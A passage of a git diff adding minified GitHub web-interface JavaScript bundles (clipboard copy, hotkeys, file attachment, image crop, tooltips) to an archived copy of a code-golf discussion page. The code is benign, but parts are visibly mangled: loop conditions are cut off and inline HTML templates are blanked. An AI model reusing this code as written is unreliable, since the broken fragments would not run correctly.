d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const 